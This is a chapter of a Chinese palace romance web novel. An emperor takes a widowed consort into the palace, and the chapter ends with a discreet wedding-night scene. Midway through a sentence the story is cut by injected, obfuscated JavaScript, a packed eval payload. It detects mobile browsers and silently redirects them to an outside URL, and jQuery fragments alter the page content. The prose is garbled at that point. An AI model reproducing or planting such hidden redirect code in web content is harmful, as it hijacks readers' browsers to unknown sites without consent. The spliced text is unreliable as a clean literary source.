黄道吉日，太后在慈宁宫正堂焚香沐浴，亲笔拟了一道懿旨。
“皇帝继位多年，后宫无所出，此哀家之过，亦嫔妃之责。今有沈氏清栀，温婉贤淑，德容兼备，堪为后宫表率。着即封为昭妃，择日入宫，钦此。”
这道旨意如同一道平地惊雷，在朝堂后宫炸开了锅。
后宫炸得更厉害。懿旨颁下来的当夜，高位妃嫔宫里摔了多少瓷器茶盏无人知晓，只是第二日倒出来的碎片比平日多了几筐。其余妃嫔也好不到哪里去——皇帝素来不溺于儿女之情，她们半年一年都见不到一次皇上的面，如今凭空落下一个昭妃，还是个再嫁的寡妇，谁心里能平？
“昭”字寓意“昭昭若日月之明”，是光明灿烂之意，又有“昭显德行”之美。谁都看得出来，皇家对这个新妃的喜爱与期许，远非寻常封号可比。
前朝也不平静。言官们递了好几道折子，说“寡妇入宫，有违礼制”，劝陛下三思。萧衍将那些折子留中不发，一个字都没回。满朝文武便都明白了——圣意已决，不可动摇。
沈家接了旨，阖府上下喜气洋洋。先是出了一个吏部侍郎，又出了一位宫里的娘娘。不说他们这些长辈，就是尚未议亲的弟弟妹妹，也实在是有福了。
沈清栀没有在宫里多留。懿旨下来的第二天，她就收拾了东西，回到了沈家。按照规矩，封妃之后要在家中等候吉日，由礼部正式迎入宫中。
马车在沈府门口停下来的时候，沈清栀掀开车帘，看见沈家一家人已经等在门口了。她下了车，还没站稳，便由沈清柏带头跪了下来。
“臣等给昭妃娘娘请安。”
沈清柏半个月前进京述职，在湖州他已经听说了小妹和离的消息，回到家却没见到她，三婶说她进宫了。他心中百味杂陈，此刻跪在地上，看着小妹一身华服站在暮色里，竟觉得有些恍惚。
“大哥快请起。”沈清栀弯下腰，双手扶起他，声音轻轻的，“都是一家人，不必如此。”
——
晚间，好久不见的兄妹俩坐在一起叙话。
“吏部侍郎这个职位，”沈清柏开口，语气里带着一丝复杂的意味，“我实在没想到会落到我头上来。如今看到这道旨意——”他顿了一下，抬起头看着沈清栀，“已经大概有些明白了。”
沈清栀垂下眼睫，没有说话。
沈清柏看着她的侧脸，看着她微微抿紧的唇角，看着她交握在膝上的手指。那双手瘦得骨节分明，指尖泛着淡淡的青白，像是一整个冬天都没有暖过来。他心里一阵一阵地疼——疼他不在的这三年，疼她一个人扛了那么多，疼他如今才回来，才来得及替她撑腰。
“小妹，”他的声音轻了下去，“你从小就心善。父亲当初不愿意你进宫，就是觉得宫里太复杂，怕你应付不来。没想到绕了一大圈，你还是去了。”他顿了顿，“父亲若在天有灵，不知是该高兴还是该心疼。”
沈清栀抬起头，看着他的眼睛，目光澄澈而坚定。
“大哥，我已经长大了。”
沈清柏怔了一下。
“不再是当年那个躲在父亲身后、什么事都要你们替我挡的小女孩了。”
“所以不要再担心我了。”沈清栀的声音轻了下去，轻到像一缕烟，可那双眼睛里的光，亮得像一盏灯，“我知道进宫的路不好走，可我不怕。我有大哥在朝堂上替我撑着，我沈清栀不比别人差的。”
沈清柏看了她很久。
他露出又心酸又欣慰的笑。
“好。”他伸出手，像小时候那样拍了拍她的头顶，“不管你在宫里走到哪一步，沈家永远是你的后盾。父亲不在了，还有我。”
“嗯。”
——
吉日定在八月十六，中秋后的第二天。
入宫的程序比沈清栀想象中更繁琐。先拜太后。太后今日穿了朝服，庄重肃穆，高高坐在凤榻上，目光从她身上淡淡扫过。
“起来吧。”太后的声音不大，却让殿内所有人都听得清清楚楚，“既入了宫，就是皇家的人了。好好伺候皇帝，早日为皇家开枝散叶。”
沈清栀叩首：“臣妾谨遵太后教诲。”
太后的目光在她身上停了一瞬，那目光里有审视，有认可，也有一丝说不清道不明的东西，像是叹息，又像是释然。然后她挥了挥手：“去吧，皇帝在等你。”
轿子落在长乐宫门前。翠屏扶她下来，低声道：“娘娘，到了。”
长乐宫，离皇帝的养心殿很近。殿内已经布置妥当了——红烛、喜帐、龙凤呈祥的锦被，满眼的红色，红得像一团火。
沈清栀站在门口，脚步顿了一下，眉头微微蹙起。她转过头看向引路的刘培，声音里带着一丝迟疑：“刘公公，这不合礼制……”
刘培躬着身子，笑得眼睛眯成一条缝：“娘娘，这是陛下吩咐的。陛下说了，旁的可以从简，唯独这屋子，必须按大婚的规制来。”
沈清栀怔住了。他竟敢这样吩咐，也不怕被人参上一本。翠屏扶她在床边坐下，她垂着眼，手指无意识地摩挲着膝上嫁衣的纹路，心绪纷乱。
殿门被推开。沉稳的脚步声，不急不缓，一下一下踩在金砖上，越来越近。她没有抬头，心跳却快得像擂鼓。
萧衍在她面前蹲下来，伸手握住她的手。她的手指冰凉，微微发抖，他将它们拢进掌心里，一根一根地收拢，像要把她所有的紧张都攥碎。
沈清栀终于抬起头。
萧衍竟然也穿着大婚的吉服——玄色底，红色镶边，冕旒垂珠在额前轻轻晃动。烛光落在他脸上，将他的眉眼照得格外清晰：眉骨高而锋利，鼻梁挺直如削。
可那双琥珀色的眼睛是软的，软得像少年时在梧桐树下替她擦眼泪的样子，里面映着她的倒影——小小的，穿着红色嫁衣的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17599283|202757||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
，眼睛亮得像盛了一整条星河的女人。
他笑了。笑得很开怀，眼底有光，像少年人终于得了心心念念的宝物。
“清栀。”他没有叫封号，叫的是她的名字。声音很轻，“在朕心里，你本就是朕的妻子。是朕想要相伴一生的人。只是——”他顿了一下，声音又低了几分，“若直接册封皇后，前朝后宫都会盯着你，你怕是承受不住那些压力。”
他看着她，目光里有愧疚。
“你能原谅朕吗？”
沈清栀摇了摇头：“陛下不必说原谅。只要能跟陛下长长久久地待在一起，妾不要什么名分。”
萧衍伸手捧住她的脸，拇指轻轻摩挲着她的颧骨：“皇后，肯定是你的。”他顿了一下，嘴角弯起一个意味深长的弧度，“只是，如果要更快一点——”
“咱们还是要多多努力。”
沈清栀听懂了他的暗示，一下子脸红到了耳根，连脖颈都染上了一层淡淡的粉色。她低下头，不敢看他，睫毛颤得像蝴蝶扇动翅膀。
萧衍看着她这副模样，嘴角弯了一下，没有再说话。
——
红烛烧得噼啪作响。
他伸手摘下她的发簪，青丝倾泻而下，铺了满肩。那支赤金衔珠步摇落在她掌心里，东珠的光泽在烛光下温润如初。他握住她的手，将步摇取过来，放在枕边。动作很轻很慢，像是在拆一件等了很久的礼物。
沈清栀闭上眼睛。
这一次不一样。
萧衍的动作比以往任何一次都更凶狠，像要把这几个月错过的、隐忍的、压在心头的，全部在这一夜讨回来。沈清栀咬着唇，手指攥着身下的锦被，指节泛白。她没有出声，觉得羞。
他低下头，在她耳边说了一句什么，她的脸一下子红透了，松开了咬着的嘴唇。
窗外，月亮从云层后面探出头来，又羞了回去。
殿内的红烛烧了一夜，烛泪层层叠叠地堆在烛台上，像一座小小的火山。
敬事房总管钱宏达在门外急得团团转，几次想要劝阻，却被刘培一个眼神斜了回去。
“你什么时候见皇帝这么有兴致了？”刘培压低声音，语气里带着一丝警告，“敢扰了皇帝的兴致，几个脑袋都不够你掉的。”
钱宏达缩了缩脖子，可还是有些不放心：“可是这不合规矩……”
刘培点了两句，声音低得只有两个人能听见：“咱们皇上，可不是以往纵情声色的主儿，你就不要按照你们之前的规矩走。你要是再阻拦，太后娘娘因为没有皇嗣的事情怪罪下来，第一个就是拿你顶包。”
钱宏达打了个哆嗦，喏喏称是，彻底不敢再开口，老老实实地缩在廊下等着。
“备水。”
不知过了多久，里边终于传来皇帝略带沙哑的声音，带着事后的慵懒与餍足。
钱宏达如蒙大赦，连滚带爬地去吩咐。